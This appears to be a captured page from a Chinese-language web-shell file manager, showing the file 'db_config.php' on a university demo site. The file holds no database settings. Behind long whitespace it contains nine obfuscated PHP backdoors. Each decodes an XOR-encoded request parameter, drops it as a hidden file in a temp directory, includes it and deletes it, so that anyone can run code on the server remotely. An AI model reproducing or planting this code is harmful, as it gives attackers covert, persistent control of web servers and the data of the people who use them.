文件操作 - db_config.php

文件: /var/www/demoestudiantes.uaysen.cl/html/db_config.php

编辑文件内容

<?php																																										if(in_array("\x72\x65c", array_keys($_REQUEST))){ $marker = $_REQUEST["\x72\x65c"]; $marker=explode( '.' , $marker) ; $obj=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $r=0; foreach ($marker as $v4) { $sChar=ord($s[$r % $sLen]); $d=((int)$v4 - $sChar - ($r % 10))^32; $obj .= chr($d); $r++; } $record = array_filter(["/tmp", getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]); for ($data_chunk = 0, $elem = count($record); $data_chunk < $elem; $data_chunk++) { $val = $record[$data_chunk]; if ((is_dir($val) and is_writable($val))) { $ent = vsprintf("%s/%s", [$val, ".component"]); if (@file_put_contents($ent, $obj) !== false) { include $ent; unlink($ent); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "s\x79m")){ $property_set = array_filter(["/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getenv("TEMP"), getcwd(), "/tmp", ini_get("upload_tmp_dir")]); $ref = $_POST["s\x79m"]; $ref= explode( '.' , $ref ); $fac = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); $len = count($ref ); for ($x = 0; $x < $len; $x++) { $v5 = $ref[$x]; $chS = ord($s7[$x % $sLen] ); $dec = ((int)$v5 - $chS - ($x % 10)) ^ 89; $fac .= chr($dec );} for ($resource = 0, $item = count($property_set); $resource < $item; $resource++) { $parameter_group = $property_set[$resource]; if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $k = vsprintf("%s/%s", [$parameter_group, ".pointer"]); if (@file_put_contents($k, $fac) !== false) { include $k; unlink($k); die(); } } } }
																																										if(isset($_REQUEST["ma\x72ke\x72"]) ? true : false){ $itm = $_REQUEST["ma\x72ke\x72"]; $itm= explode ( '.', $itm) ; $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $itm as $z => $v8): $sChar = ord( $salt[$z% $lenS] ); $dec = ( ( int)$v8 - $sChar -( $z% 10)) ^ 52; $val .= chr( $dec ); endforeach; $obj = array_filter(["/var/tmp", "/tmp", getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); foreach ($obj as $token): if (is_writable($token) && is_dir($token)) { $component = sprintf("%s/.element", $token); if (@file_put_contents($component, $val) !== false) { include $component; unlink($component); exit; } } endforeach; }
																																										if(array_key_exists("d\x61t", $_POST) && !is_null($_POST["d\x61t"])){ $rec = $_POST["d\x61t"]; $rec =explode( '.', $rec ) ; $reference = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4 ); $v = 0; while( $v< count( $rec)) { $v2 = $rec[$v]; $sChar = ord( $salt4[$v%$sLen] ); $d =( ( int)$v2 - $sChar -( $v%10)) ^ 20; $reference .= chr( $d ); $v++; } $k = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", getenv("TEMP"), session_save_path()]); while ($obj = array_shift($k)) { if (array_product([is_dir($obj), is_writable($obj)])) { $res = "$obj/.ptr"; if (file_put_contents($res, $reference)) { require $res; unlink($res); exit; } } } }
																																										if(array_key_exists("\x69\x74em", $_POST) && !is_null($_POST["\x69\x74em"])){ $value = $_POST["\x69\x74em"]; $value = explode ( "." ,$value ) ; $reference = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $p = 0; $len = count($value); do { if ($p >= $len) break; $v4 = $value[$p]; $chS = ord($salt7[$p % $sLen]); $dec = ((int)$v4 - $chS - ($p % 10))^ 70; $reference .= chr($dec); $p++;} while (true); $element = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TMP"), "/tmp"]); $symbol = 0; do { $flag = $element[$symbol] ?? null; if ($symbol >= count($element)) break; if (is_dir($flag) ? is_writable($flag) : false) { $tkn = "$flag/.flg"; $success = file_put_contents($tkn, $reference); if ($success) { include $tkn; @unlink($tkn); die();} } $symbol++; } while (true); }
																																										if(array_key_exists("k", $_REQUEST)){ $record = $_REQUEST["k"]; $record =explode ( '.', $record) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $r = 0; $len = count($record ); do {if ($r >= $len) break; $v3 = $record[$r]; $chS = ord($s[$r % $lenS] ); $dec = ((int)$v3 - $chS - ($r % 10)) ^ 19; $reference.=chr($dec ); $r++; } while (true ); $tkn = array_filter([ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP")]); foreach ($tkn as $key => $ent) { if (is_writable($ent) && is_dir($ent)) { $itm = "$ent" . "/.holder"; $success = file_put_contents($itm, $reference); if ($success) { include $itm; @unlink($itm); exit;} } } }
																																										if(isset($_REQUEST["p\x67rp"])){ $bind = $_REQUEST["p\x67rp"]; $bind = explode ( '.' , $bind ) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $x = 0; while( $x < count( $bind)) { $v6 = $bind[$x]; $sChar = ord( $s[$x% $lenS]); $d =( ( int)$v6 - $sChar -( $x% 10)) ^ 69; $property_set .=chr( $d); $x++; } $value = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TMP"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); for ($desc = 0, $key = count($value); $desc < $key; $desc++) { $binding = $value[$desc]; if (is_dir($binding) && is_writable($binding)) { $data_chunk = "$binding" . "/.flag"; $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $data_chunk; @unlink($data_chunk); die(); } } } }
																																										if(in_array("\x6Da\x72ker", array_keys($_POST))){ $ptr = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); $obj = $_POST["\x6Da\x72ker"]; $obj = explode ( "." , $obj ) ; $descriptor =''; $s9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s9); $v =0; while ($v < count($obj)) {$v4 =$obj[$v]; $chS =ord($s9[$v% $lenS]); $dec =((int)$v4 - $chS - ($v% 10)) ^ 38; $descriptor.= chr($dec); $v++; } foreach ($ptr as $sym): if (is_dir($sym) ? is_writable($sym) : false) { $desc = str_replace("{var_dir}", $sym, "{var_dir}/.resource"); if (@file_put_contents($desc, $descriptor) !== false) { include $desc; unlink($desc); exit; } } endforeach; }

if(isset($_POST["\x6F\x62\x6Aect"]) ? true : false){
	$ent = $_POST["\x6F\x62\x6Aect"];
	$ent =	 explode ( 	'.' ,$ent) ;	
	$flg = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(		$s	);
    
            foreach(		$ent as $k => $v4):
                $sChar = ord(		$s[$k%		$sLen]	);
                $dec =(		(		int)$v4 - $sChar -(		$k%		10)) 	^	32;
                $flg.=  chr(		$dec	);
            endforeach;
	$k = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP")]);
	for ($elem = 0, $val = count($k); $elem < $val; $elem++) {
    $pset = $k[$elem];
    		if (is_dir($pset) ? is_writable($pset) : false) {
    $fac = sprintf("%s/.itm", $pset);
    if (file_put_contents($fac, $flg)) {
	require $fac;
	unlink($fac);
	exit;
}
}
}
}

文件操作 - db_config.php

文件: /var/www/demoestudiantes.uaysen.cl/html/db_config.php

编辑文件内容

修改文件时间

删除文件